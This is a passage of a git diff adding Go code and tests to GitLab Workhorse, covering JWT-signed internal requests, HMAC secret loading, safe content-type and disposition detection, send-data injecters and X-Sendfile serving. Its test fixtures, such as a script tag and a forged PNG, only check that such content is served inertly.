+ require.Equal(t, 2, len(dopts))
+}
+
+func TestDialOptionsBuildersSelectDB(t *testing.T) {
+ db := 3
+ dopts := dialOptionsBuilder(&config.RedisConfig{DB: &db}, false)
+ require.Equal(t, 1, len(dopts))
+}
diff --git a/workhorse/internal/secret/jwt.go b/workhorse/internal/secret/jwt.go
new file mode 100644
index 00000000000..04335e58f76
--- /dev/null
+++ b/workhorse/internal/secret/jwt.go
@@ -0,0 +1,25 @@
+package secret
+
+import (
+ "fmt"
+
+ "github.com/dgrijalva/jwt-go"
+)
+
+var (
+ DefaultClaims = jwt.StandardClaims{Issuer: "gitlab-workhorse"}
+)
+
+func JWTTokenString(claims jwt.Claims) (string, error) {
+ secretBytes, err := Bytes()
+ if err != nil {
+ return "", fmt.Errorf("secret.JWTTokenString: %v", err)
+ }
+
+ tokenString, err := jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString(secretBytes)
+ if err != nil {
+ return "", fmt.Errorf("secret.JWTTokenString: sign JWT: %v", err)
+ }
+
+ return tokenString, nil
+}
diff --git a/workhorse/internal/secret/roundtripper.go b/workhorse/internal/secret/roundtripper.go
new file mode 100644
index 00000000000..50bf7fff5b8
--- /dev/null
+++ b/workhorse/internal/secret/roundtripper.go
@@ -0,0 +1,35 @@
+package secret
+
+import (
+ "net/http"
+)
+
+const (
+ // This header carries the JWT token for gitlab-rails
+ RequestHeader = "Gitlab-Workhorse-Api-Request"
+)
+
+type roundTripper struct {
+ next http.RoundTripper
+ version string
+}
+
+// NewRoundTripper creates a RoundTripper that adds the JWT token header to a
+// request. This is used to verify that a request came from workhorse
+func NewRoundTripper(next http.RoundTripper, version string) http.RoundTripper {
+ return &roundTripper{next: next, version: version}
+}
+
+func (r *roundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
+ tokenString, err := JWTTokenString(DefaultClaims)
+ if err != nil {
+ return nil, err
+ }
+
+ // Set a custom header for the request. This can be used in some
+ // configurations (Passenger) to solve auth request routing problems.
+ req.Header.Set("Gitlab-Workhorse", r.version)
+ req.Header.Set(RequestHeader, tokenString)
+
+ return r.next.RoundTrip(req)
+}
diff --git a/workhorse/internal/secret/secret.go b/workhorse/internal/secret/secret.go
new file mode 100644
index 00000000000..e8c7c25393c
--- /dev/null
+++ b/workhorse/internal/secret/secret.go
@@ -0,0 +1,77 @@
+package secret
+
+import (
+ "encoding/base64"
+ "fmt"
+ "io/ioutil"
+ "sync"
+)
+
+const numSecretBytes = 32
+
+type sec struct {
+ path string
+ bytes []byte
+ sync.RWMutex
+}
+
+var (
+ theSecret = &sec{}
+)
+
+func SetPath(path string) {
+ theSecret.Lock()
+ defer theSecret.Unlock()
+ theSecret.path = path
+ theSecret.bytes = nil
+}
+
+// Lazy access to the HMAC secret key. We must be lazy because if the key
+// is not already there, it will be generated by gitlab-rails, and
+// gitlab-rails is slow.
+func Bytes() ([]byte, error) {
+ if bytes := getBytes(); bytes != nil {
+ return copyBytes(bytes), nil
+ }
+
+ return setBytes()
+}
+
+func getBytes() []byte {
+ theSecret.RLock()
+ defer theSecret.RUnlock()
+ return theSecret.bytes
+}
+
+func copyBytes(bytes []byte) []byte {
+ out := make([]byte, len(bytes))
+ copy(out, bytes)
+ return out
+}
+
+func setBytes() ([]byte, error) {
+ theSecret.Lock()
+ defer theSecret.Unlock()
+
+ if theSecret.bytes != nil {
+ return theSecret.bytes, nil
+ }
+
+ base64Bytes, err := ioutil.ReadFile(theSecret.path)
+ if err != nil {
+ return nil, fmt.Errorf("secret.setBytes: read %q: %v", theSecret.path, err)
+ }
+
+ secretBytes := make([]byte, base64.StdEncoding.DecodedLen(len(base64Bytes)))
+ n, err := base64.StdEncoding.Decode(secretBytes, base64Bytes)
+ if err != nil {
+ return nil, fmt.Errorf("secret.setBytes: decode secret: %v", err)
+ }
+
+ if n != numSecretBytes {
+ return nil, fmt.Errorf("secret.setBytes: expected %d secretBytes in %s, found %d", numSecretBytes, theSecret.path, n)
+ }
+
+ theSecret.bytes = secretBytes
+ return copyBytes(theSecret.bytes), nil
+}
diff --git a/workhorse/internal/senddata/contentprocessor/contentprocessor.go b/workhorse/internal/senddata/contentprocessor/contentprocessor.go
new file mode 100644
index 00000000000..a5cc0fee013
--- /dev/null
+++ b/workhorse/internal/senddata/contentprocessor/contentprocessor.go
@@ -0,0 +1,126 @@
+package contentprocessor
+
+import (
+ "bytes"
+ "io"
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/headers"
+)
+
+type contentDisposition struct {
+ rw http.ResponseWriter
+ buf *bytes.Buffer
+ wroteHeader bool
+ flushed bool
+ active bool
+ removedResponseHeaders bool
+ status int
+ sentStatus bool
+}
+
+// SetContentHeaders buffers the response if Gitlab-Workhorse-Detect-Content-Type
+// header is found and set the proper content headers based on the current
+// value of content type and disposition
+func SetContentHeaders(h http.Handler) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ cd := &contentDisposition{
+ rw: w,
+ buf: &bytes.Buffer{},
+ status: http.StatusOK,
+ }
+
+ defer cd.flush()
+
+ h.ServeHTTP(cd, r)
+ })
+}
+
+func (cd *contentDisposition) Header() http.Header {
+ return cd.rw.Header()
+}
+
+func (cd *contentDisposition) Write(data []byte) (int, error) {
+ // Normal write if we don't need to buffer
+ if cd.isUnbuffered() {
+ cd.WriteHeader(cd.status)
+ return cd.rw.Write(data)
+ }
+
+ // Write the new data into the buffer
+ n, _ := cd.buf.Write(data)
+
+ // If we have enough data to calculate the content headers then flush the Buffer
+ var err error
+ if cd.buf.Len() >= headers.MaxDetectSize {
+ err = cd.flushBuffer()
+ }
+
+ return n, err
+}
+
+func (cd *contentDisposition) flushBuffer() error {
+ if cd.isUnbuffered() {
+ return nil
+ }
+
+ cd.flushed = true
+
+ // If the buffer has any content then we calculate the content headers and
+ // write in the response
+ if cd.buf.Len() > 0 {
+ cd.writeContentHeaders()
+ cd.WriteHeader(cd.status)
+ _, err := io.Copy(cd.rw, cd.buf)
+ return err
+ }
+
+ // If no content is present in the buffer we still need to send the headers
+ cd.WriteHeader(cd.status)
+ return nil
+}
+
+func (cd *contentDisposition) writeContentHeaders() {
+ if cd.wroteHeader {
+ return
+ }
+
+ cd.wroteHeader = true
+ contentType, contentDisposition := headers.SafeContentHeaders(cd.buf.Bytes(), cd.Header().Get(headers.ContentDispositionHeader))
+ cd.Header().Set(headers.ContentTypeHeader, contentType)
+ cd.Header().Set(headers.ContentDispositionHeader, contentDisposition)
+}
+
+func (cd *contentDisposition) WriteHeader(status int) {
+ if cd.sentStatus {
+ return
+ }
+
+ cd.status = status
+
+ if cd.isUnbuffered() {
+ cd.rw.WriteHeader(cd.status)
+ cd.sentStatus = true
+ }
+}
+
+// If we find any response header, then we must calculate the content headers
+// If we don't find any, the data is not buffered and it works as
+// a usual ResponseWriter
+func (cd *contentDisposition) isUnbuffered() bool {
+ if !cd.removedResponseHeaders {
+ if headers.IsDetectContentTypeHeaderPresent(cd.rw) {
+ cd.active = true
+ }
+
+ cd.removedResponseHeaders = true
+ // We ensure to clear any response header from the response
+ headers.RemoveResponseHeaders(cd.rw)
+ }
+
+ return cd.flushed || !cd.active
+}
+
+func (cd *contentDisposition) flush() {
+ cd.flushBuffer()
+}
diff --git a/workhorse/internal/senddata/contentprocessor/contentprocessor_test.go b/workhorse/internal/senddata/contentprocessor/contentprocessor_test.go
new file mode 100644
index 00000000000..5e3a74f04f9
--- /dev/null
+++ b/workhorse/internal/senddata/contentprocessor/contentprocessor_test.go
@@ -0,0 +1,293 @@
+package contentprocessor
+
+import (
+ "io"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/headers"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestFailSetContentTypeAndDisposition(t *testing.T) {
+ testCaseBody := "Hello world!"
+
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ _, err := io.WriteString(w, testCaseBody)
+ require.NoError(t, err)
+ })
+
+ resp := makeRequest(t, h, testCaseBody, "")
+
+ require.Equal(t, "", resp.Header.Get(headers.ContentDispositionHeader))
+ require.Equal(t, "", resp.Header.Get(headers.ContentTypeHeader))
+}
+
+func TestSuccessSetContentTypeAndDispositionFeatureEnabled(t *testing.T) {
+ testCaseBody := "Hello world!"
+
+ resp := makeRequest(t, nil, testCaseBody, "")
+
+ require.Equal(t, "inline", resp.Header.Get(headers.ContentDispositionHeader))
+ require.Equal(t, "text/plain; charset=utf-8", resp.Header.Get(headers.ContentTypeHeader))
+}
+
+func TestSetProperContentTypeAndDisposition(t *testing.T) {
+ testCases := []struct {
+ desc string
+ contentType string
+ contentDisposition string
+ body string
+ }{
+ {
+ desc: "text type",
+ contentType: "text/plain; charset=utf-8",
+ contentDisposition: "inline",
+ body: "Hello world!",
+ },
+ {
+ desc: "HTML type",
+ contentType: "text/plain; charset=utf-8",
+ contentDisposition: "inline",
+ body: "<html><body>Hello world!</body></html>",
+ },
+ {
+ desc: "Javascript type",
+ contentType: "text/plain; charset=utf-8",
+ contentDisposition: "inline",
+ body: "<script>alert(\"foo\")</script>",
+ },
+ {
+ desc: "Image type",
+ contentType: "image/png",
+ contentDisposition: "inline",
+ body: testhelper.LoadFile(t, "testdata/image.png"),
+ },
+ {
+ desc: "SVG type",
+ contentType: "image/svg+xml",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/image.svg"),
+ },
+ {
+ desc: "Partial SVG type",
+ contentType: "image/svg+xml",
+ contentDisposition: "attachment",
+ body: "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" viewBox=\"0 0 330 82\"><title>SVG logo combined with the W3C logo, set horizontally</title><desc>The logo combines three entities displayed horizontall</desc><metadata>",
+ },
+ {
+ desc: "Application type",
+ contentType: "application/pdf",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/file.pdf"),
+ },
+ {
+ desc: "Application type pdf with inline disposition",
+ contentType: "application/pdf",
+ contentDisposition: "inline",
+ body: testhelper.LoadFile(t, "testdata/file.pdf"),
+ },
+ {
+ desc: "Application executable type",
+ contentType: "application/octet-stream",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/file.swf"),
+ },
+ {
+ desc: "Video type",
+ contentType: "video/mp4",
+ contentDisposition: "inline",
+ body: testhelper.LoadFile(t, "testdata/video.mp4"),
+ },
+ {
+ desc: "Audio type",
+ contentType: "audio/mpeg",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/audio.mp3"),
+ },
+ {
+ desc: "JSON type",
+ contentType: "text/plain; charset=utf-8",
+ contentDisposition: "inline",
+ body: "{ \"glossary\": { \"title\": \"example glossary\", \"GlossDiv\": { \"title\": \"S\" } } }",
+ },
+ {
+ desc: "Forged file with png extension but SWF content",
+ contentType: "application/octet-stream",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/forgedfile.png"),
+ },
+ {
+ desc: "BMPR file",
+ contentType: "application/octet-stream",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/file.bmpr"),
+ },
+ {
+ desc: "STL file",
+ contentType: "application/octet-stream",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/file.stl"),
+ },
+ {
+ desc: "RDoc file",
+ contentType: "text/plain; charset=utf-8",
+ contentDisposition: "inline",
+ body: testhelper.LoadFile(t, "testdata/file.rdoc"),
+ },
+ {
+ desc: "IPYNB file",
+ contentType: "text/plain; charset=utf-8",
+ contentDisposition: "inline",
+ body: testhelper.LoadFile(t, "testdata/file.ipynb"),
+ },
+ {
+ desc: "Sketch file",
+ contentType: "application/zip",
+ contentDisposition: "attachment",
+ body: testhelper.LoadFile(t, "testdata/file.sketch"),
+ },
+ {
+ desc: "PDF file with non-ASCII characters in filename",
+ contentType: "application/pdf",
+ contentDisposition: `attachment; filename="file-ä.pdf"; filename*=UTF-8''file-%c3.pdf`,
+ body: testhelper.LoadFile(t, "testdata/file-ä.pdf"),
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ resp := makeRequest(t, nil, tc.body, tc.contentDisposition)
+
+ require.Equal(t, tc.contentType, resp.Header.Get(headers.ContentTypeHeader))
+ require.Equal(t, tc.contentDisposition, resp.Header.Get(headers.ContentDispositionHeader))
+ })
+ }
+}
+
+func TestFailOverrideContentType(t *testing.T) {
+ testCase := struct {
+ contentType string
+ body string
+ }{
+ contentType: "text/plain; charset=utf-8",
+ body: "<html><body>Hello world!</body></html>",
+ }
+
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ // We are pretending to be upstream or an inner layer of the ResponseWriter chain
+ w.Header().Set(headers.GitlabWorkhorseDetectContentTypeHeader, "true")
+ w.Header().Set(headers.ContentTypeHeader, "text/html; charset=utf-8")
+ _, err := io.WriteString(w, testCase.body)
+ require.NoError(t, err)
+ })
+
+ resp := makeRequest(t, h, testCase.body, "")
+
+ require.Equal(t, testCase.contentType, resp.Header.Get(headers.ContentTypeHeader))
+}
+
+func TestSuccessOverrideContentDispositionFromInlineToAttachment(t *testing.T) {
+ testCaseBody := "Hello world!"
+
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ // We are pretending to be upstream or an inner layer of the ResponseWriter chain
+ w.Header().Set(headers.ContentDispositionHeader, "attachment")
+ w.Header().Set(headers.GitlabWorkhorseDetectContentTypeHeader, "true")
+ _, err := io.WriteString(w, testCaseBody)
+ require.NoError(t, err)
+ })
+
+ resp := makeRequest(t, h, testCaseBody, "")
+
+ require.Equal(t, "attachment", resp.Header.Get(headers.ContentDispositionHeader))
+}
+
+func TestInlineContentDispositionForPdfFiles(t *testing.T) {
+ testCaseBody := testhelper.LoadFile(t, "testdata/file.pdf")
+
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ // We are pretending to be upstream or an inner layer of the ResponseWriter chain
+ w.Header().Set(headers.ContentDispositionHeader, "inline")
+ w.Header().Set(headers.GitlabWorkhorseDetectContentTypeHeader, "true")
+ _, err := io.WriteString(w, testCaseBody)
+ require.NoError(t, err)
+ })
+
+ resp := makeRequest(t, h, testCaseBody, "")
+
+ require.Equal(t, "inline", resp.Header.Get(headers.ContentDispositionHeader))
+}
+
+func TestFailOverrideContentDispositionFromAttachmentToInline(t *testing.T) {
+ testCaseBody := testhelper.LoadFile(t, "testdata/image.svg")
+
+ h := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ // We are pretending to be upstream or an inner layer of the ResponseWriter chain
+ w.Header().Set(headers.ContentDispositionHeader, "inline")
+ w.Header().Set(headers.GitlabWorkhorseDetectContentTypeHeader, "true")
+ _, err := io.WriteString(w, testCaseBody)
+ require.NoError(t, err)
+ })
+
+ resp := makeRequest(t, h, testCaseBody, "")
+
+ require.Equal(t, "attachment", resp.Header.Get(headers.ContentDispositionHeader))
+}
+
+func TestHeadersDelete(t *testing.T) {
+ for _, code := range []int{200, 400} {
+ recorder := httptest.NewRecorder()
+ rw := &contentDisposition{rw: recorder}
+ for _, name := range headers.ResponseHeaders {
+ rw.Header().Set(name, "foobar")
+ }
+
+ rw.WriteHeader(code)
+
+ for _, name := range headers.ResponseHeaders {
+ if header := recorder.Header().Get(name); header != "" {
+ t.Fatalf("HTTP %d response: expected header to be empty, found %q", code, name)
+ }
+ }
+ }
+}
+
+func TestWriteHeadersCalledOnce(t *testing.T) {
+ recorder := httptest.NewRecorder()
+ rw := &contentDisposition{rw: recorder}
+ rw.WriteHeader(400)
+ require.Equal(t, 400, rw.status)
+ require.Equal(t, true, rw.sentStatus)
+
+ rw.WriteHeader(200)
+ require.Equal(t, 400, rw.status)
+}
+
+func makeRequest(t *testing.T, handler http.HandlerFunc, body string, disposition string) *http.Response {
+ if handler == nil {
+ handler = http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+ // We are pretending to be upstream
+ w.Header().Set(headers.GitlabWorkhorseDetectContentTypeHeader, "true")
+ w.Header().Set(headers.ContentDispositionHeader, disposition)
+ _, err := io.WriteString(w, body)
+ require.NoError(t, err)
+ })
+ }
+ req, _ := http.NewRequest("GET", "/", nil)
+
+ rw := httptest.NewRecorder()
+ SetContentHeaders(handler).ServeHTTP(rw, req)
+
+ resp := rw.Result()
+ respBody, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err)
+
+ require.Equal(t, body, string(respBody))
+
+ return resp
+}
diff --git a/workhorse/internal/senddata/injecter.go b/workhorse/internal/senddata/injecter.go
new file mode 100644
index 00000000000..d5739d2a053
--- /dev/null
+++ b/workhorse/internal/senddata/injecter.go
@@ -0,0 +1,35 @@
+package senddata
+
+import (
+ "encoding/base64"
+ "encoding/json"
+ "net/http"
+ "strings"
+)
+
+type Injecter interface {
+ Match(string) bool
+ Inject(http.ResponseWriter, *http.Request, string)
+ Name() string
+}
+
+type Prefix string
+
+func (p Prefix) Match(s string) bool {
+ return strings.HasPrefix(s, string(p))
+}
+
+func (p Prefix) Unpack(result interface{}, sendData string) error {
+ jsonBytes, err := base64.URLEncoding.DecodeString(strings.TrimPrefix(sendData, string(p)))
+ if err != nil {
+ return err
+ }
+ if err := json.Unmarshal([]byte(jsonBytes), result); err != nil {
+ return err
+ }
+ return nil
+}
+
+func (p Prefix) Name() string {
+ return strings.TrimSuffix(string(p), ":")
+}
diff --git a/workhorse/internal/senddata/senddata.go b/workhorse/internal/senddata/senddata.go
new file mode 100644
index 00000000000..c287d2574fa
--- /dev/null
+++ b/workhorse/internal/senddata/senddata.go
@@ -0,0 +1,105 @@
+package senddata
+
+import (
+ "net/http"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/headers"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata/contentprocessor"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+)
+
+var (
+ sendDataResponses = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_senddata_responses",
+ Help: "How many HTTP responses have been hijacked by a workhorse senddata injecter",
+ },
+ []string{"injecter"},
+ )
+ sendDataResponseBytes = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_senddata_response_bytes",
+ Help: "How many bytes have been written by workhorse senddata response injecters",
+ },
+ []string{"injecter"},
+ )
+)
+
+type sendDataResponseWriter struct {
+ rw http.ResponseWriter
+ status int
+ hijacked bool
+ req *http.Request
+ injecters []Injecter
+}
+
+func SendData(h http.Handler, injecters ...Injecter) http.Handler {
+ return contentprocessor.SetContentHeaders(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ s := sendDataResponseWriter{
+ rw: w,
+ req: r,
+ injecters: injecters,
+ }
+ defer s.flush()
+ h.ServeHTTP(&s, r)
+ }))
+}
+
+func (s *sendDataResponseWriter) Header() http.Header {
+ return s.rw.Header()
+}
+
+func (s *sendDataResponseWriter) Write(data []byte) (int, error) {
+ if s.status == 0 {
+ s.WriteHeader(http.StatusOK)
+ }
+ if s.hijacked {
+ return len(data), nil
+ }
+ return s.rw.Write(data)
+}
+
+func (s *sendDataResponseWriter) WriteHeader(status int) {
+ if s.status != 0 {
+ return
+ }
+ s.status = status
+
+ if s.status == http.StatusOK && s.tryInject() {
+ return
+ }
+
+ s.rw.WriteHeader(s.status)
+}
+
+func (s *sendDataResponseWriter) tryInject() bool {
+ if s.hijacked {
+ return false
+ }
+
+ header := s.Header().Get(headers.GitlabWorkhorseSendDataHeader)
+ if header == "" {
+ return false
+ }
+
+ for _, injecter := range s.injecters {
+ if injecter.Match(header) {
+ s.hijacked = true
+ helper.DisableResponseBuffering(s.rw)
+ crw := helper.NewCountingResponseWriter(s.rw)
+ injecter.Inject(crw, s.req, header)
+ sendDataResponses.WithLabelValues(injecter.Name()).Inc()
+ sendDataResponseBytes.WithLabelValues(injecter.Name()).Add(float64(crw.Count()))
+ return true
+ }
+ }
+
+ return false
+}
+
+func (s *sendDataResponseWriter) flush() {
+ s.WriteHeader(http.StatusOK)
+}
diff --git a/workhorse/internal/senddata/writer_test.go b/workhorse/internal/senddata/writer_test.go
new file mode 100644
index 00000000000..1262acd5472
--- /dev/null
+++ b/workhorse/internal/senddata/writer_test.go
@@ -0,0 +1,71 @@
+package senddata
+
+import (
+ "io"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/headers"
+)
+
+func TestWriter(t *testing.T) {
+ upstreamResponse := "hello world"
+
+ testCases := []struct {
+ desc string
+ headerValue string
+ out string
+ }{
+ {
+ desc: "inject",
+ headerValue: testInjecterName + ":" + testInjecterName,
+ out: testInjecterData,
+ },
+ {
+ desc: "pass",
+ headerValue: "",
+ out: upstreamResponse,
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ recorder := httptest.NewRecorder()
+ rw := &sendDataResponseWriter{rw: recorder, injecters: []Injecter{&testInjecter{}}}
+
+ rw.Header().Set(headers.GitlabWorkhorseSendDataHeader, tc.headerValue)
+
+ n, err := rw.Write([]byte(upstreamResponse))
+ require.NoError(t, err)
+ require.Equal(t, len(upstreamResponse), n, "bytes written")
+
+ recorder.Flush()
+
+ body := recorder.Result().Body
+ data, err := ioutil.ReadAll(body)
+ require.NoError(t, err)
+ require.NoError(t, body.Close())
+
+ require.Equal(t, tc.out, string(data))
+ })
+ }
+}
+
+const (
+ testInjecterName = "test-injecter"
+ testInjecterData = "hello this is injected data"
+)
+
+type testInjecter struct{}
+
+func (ti *testInjecter) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ io.WriteString(w, testInjecterData)
+}
+
+func (ti *testInjecter) Match(s string) bool { return strings.HasPrefix(s, testInjecterName+":") }
+func (ti *testInjecter) Name() string { return testInjecterName }
diff --git a/workhorse/internal/sendfile/sendfile.go b/workhorse/internal/sendfile/sendfile.go
new file mode 100644
index 00000000000..d009f216eb9
--- /dev/null
+++ b/workhorse/internal/sendfile/sendfile.go
@@ -0,0 +1,162 @@
+/*
+The xSendFile middleware transparently sends static files in HTTP responses
+via the X-Sendfile mechanism. All that is needed in the Rails code is the
+'send_file' method.
+*/
+
+package sendfile
+
+import (
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "regexp"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/mask"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/headers"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+var (
+ sendFileRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_sendfile_requests",
+ Help: "How many X-Sendfile requests have been processed by gitlab-workhorse, partitioned by sendfile type.",
+ },
+ []string{"type"},
+ )
+
+ sendFileBytes = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_sendfile_bytes",
+ Help: "How many X-Sendfile bytes have been sent by gitlab-workhorse, partitioned by sendfile type.",
+ },
+ []string{"type"},
+ )
+
+ artifactsSendFile = regexp.MustCompile("builds/[0-9]+/artifacts")
+)
+
+type sendFileResponseWriter struct {
+ rw http.ResponseWriter
+ status int
+ hijacked bool
+ req *http.Request
+}
+
+func SendFile(h http.Handler) http.Handler {
+ return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
+ s := &sendFileResponseWriter{
+ rw: rw,
+ req: req,
+ }
+ // Advertise to upstream (Rails) that we support X-Sendfile
+ req.Header.Set(headers.XSendFileTypeHeader, headers.XSendFileHeader)
+ defer s.flush()
+ h.ServeHTTP(s, req)
+ })
+}
+
+func (s *sendFileResponseWriter) Header() http.Header {
+ return s.rw.Header()
+}
+
+func (s *sendFileResponseWriter) Write(data []byte) (int, error) {
+ if s.status == 0 {
+ s.WriteHeader(http.StatusOK)
+ }
+ if s.hijacked {
+ return len(data), nil
+ }
+ return s.rw.Write(data)
+}
+
+func (s *sendFileResponseWriter) WriteHeader(status int) {
+ if s.status != 0 {
+ return
+ }
+
+ s.status = status
+ if s.status != http.StatusOK {
+ s.rw.WriteHeader(s.status)
+ return
+ }
+
+ file := s.Header().Get(headers.XSendFileHeader)
+ if file != "" && !s.hijacked {
+ // Mark this connection as hijacked
+ s.hijacked = true
+
+ // Serve the file
+ helper.DisableResponseBuffering(s.rw)
+ sendFileFromDisk(s.rw, s.req, file)
+ return
+ }
+
+ s.rw.WriteHeader(s.status)
+}
+
+func sendFileFromDisk(w http.ResponseWriter, r *http.Request, file string) {
+ log.WithContextFields(r.Context(), log.Fields{
+ "file": file,
+ "method": r.Method,
+ "uri": mask.URL(r.RequestURI),
+ }).Print("Send file")
+
+ contentTypeHeaderPresent := false
+
+ if headers.IsDetectContentTypeHeaderPresent(w) {
+ // Removing the GitlabWorkhorseDetectContentTypeHeader header to
+ // avoid handling the response by the senddata handler
+ w.Header().Del(headers.GitlabWorkhorseDetectContentTypeHeader)
+ contentTypeHeaderPresent = true
+ }
+
+ content, fi, err := helper.OpenFile(file)
+ if err != nil {
+ http.NotFound(w, r)
+ return
+ }
+ defer content.Close()
+
+ countSendFileMetrics(fi.Size(), r)
+
+ if contentTypeHeaderPresent {
+ data, err := ioutil.ReadAll(io.LimitReader(content, headers.MaxDetectSize))
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("content type detection: %v", err))
+ return
+ }
+
+ content.Seek(0, io.SeekStart)
+
+ contentType, contentDisposition := headers.SafeContentHeaders(data, w.Header().Get(headers.ContentDispositionHeader))
+ w.Header().Set(headers.ContentTypeHeader, contentType)
+ w.Header().Set(headers.ContentDispositionHeader, contentDisposition)
+ }
+
+ http.ServeContent(w, r, "", fi.ModTime(), content)
+}
+
+func countSendFileMetrics(size int64, r *http.Request) {
+ var requestType string
+ switch {
+ case artifactsSendFile.MatchString(r.RequestURI):
+ requestType = "artifacts"
+ default:
+ requestType = "other"
+ }
+
+ sendFileRequests.WithLabelValues(requestType).Inc()
+ sendFileBytes.WithLabelValues(requestType).Add(float64(size))
+}
+
+func (s *sendFileResponseWriter) flush() {
+ s.WriteHeader(http.StatusOK)
+}
diff --git a/workhorse/internal/sendfile/sendfile_test.go b/workhorse/internal/sendfile/sendfile_test.go
new file mode 100644
index 00000000000..d424814b5e5
--- /dev/null
+++ b/workhorse/internal/sendfile/sendfile_test.go
@@ -0,0 +1,171 @@
+package sendfile
+
+import (
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/headers"
+)
+
+func TestResponseWriter(t *testing.T) {
+ upstreamResponse := "hello world"
+
+ fixturePath := "testdata/sent-file.txt"
+ fixtureContent, err := ioutil.ReadFile(fixturePath)
+ require.NoError(t, err)
+
+ testCases := []struct {
+ desc string
+ sendfileHeader string
+ out string
+ }{
+ {
+ desc: "send a file",
+ sendfileHeader: fixturePath,
+ out: string(fixtureContent),
+ },
+ {
+ desc: "pass through unaltered",
+ sendfileHeader: "",
+ out: upstreamResponse,
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ r, err := http.NewRequest("GET", "/foo", nil)
+ require.NoError(t, err)
+
+ rw := httptest.NewRecorder()
+ sf := &sendFileResponseWriter{rw: rw, req: r}
+ sf.Header().Set(headers.XSendFileHeader, tc.sendfileHeader)
+
+ upstreamBody := []byte(upstreamResponse)
+ n, err := sf.Write(upstreamBody)
+ require.NoError(t, err)
+ require.Equal(t, len(upstreamBody), n, "bytes written")
+
+ rw.Flush()
+
+ body := rw.Result().Body
+ data, err := ioutil.ReadAll(body)
+ require.NoError(t, err)
+ require.NoError(t, body.Close())
+
+ require.Equal(t, tc.out, string(data))
+ })
+ }
+}
+
+func TestAllowExistentContentHeaders(t *testing.T) {
+ fixturePath := "../../testdata/forgedfile.png"
+
+ httpHeaders := map[string]string{
+ headers.ContentTypeHeader: "image/png",
+ headers.ContentDispositionHeader: "inline",
+ }
+
+ resp := makeRequest(t, fixturePath, httpHeaders)
+ require.Equal(t, "image/png", resp.Header.Get(headers.ContentTypeHeader))
+ require.Equal(t, "inline", resp.Header.Get(headers.ContentDispositionHeader))
+}
+
+func TestSuccessOverrideContentHeadersFeatureEnabled(t *testing.T) {
+ fixturePath := "../../testdata/forgedfile.png"
+
+ httpHeaders := make(map[string]string)
+ httpHeaders[headers.ContentTypeHeader] = "image/png"
+ httpHeaders[headers.ContentDispositionHeader] = "inline"
+ httpHeaders["Range"] = "bytes=1-2"
+
+ resp := makeRequest(t, fixturePath, httpHeaders)
+ require.Equal(t, "image/png", resp.Header.Get(headers.ContentTypeHeader))
+ require.Equal(t, "inline", resp.Header.Get(headers.ContentDispositionHeader))
+}
+
+func TestSuccessOverrideContentHeadersRangeRequestFeatureEnabled(t *testing.T) {
+ fixturePath := "../../testdata/forgedfile.png"
+
+ fixtureContent, err := ioutil.ReadFile(fixturePath)
+ require.NoError(t, err)
+
+ r, err := http.NewRequest("GET", "/foo", nil)
+ r.Header.Set("Range", "bytes=1-2")
+ require.NoError(t, err)
+
+ rw := httptest.NewRecorder()
+ sf := &sendFileResponseWriter{rw: rw, req: r}
+
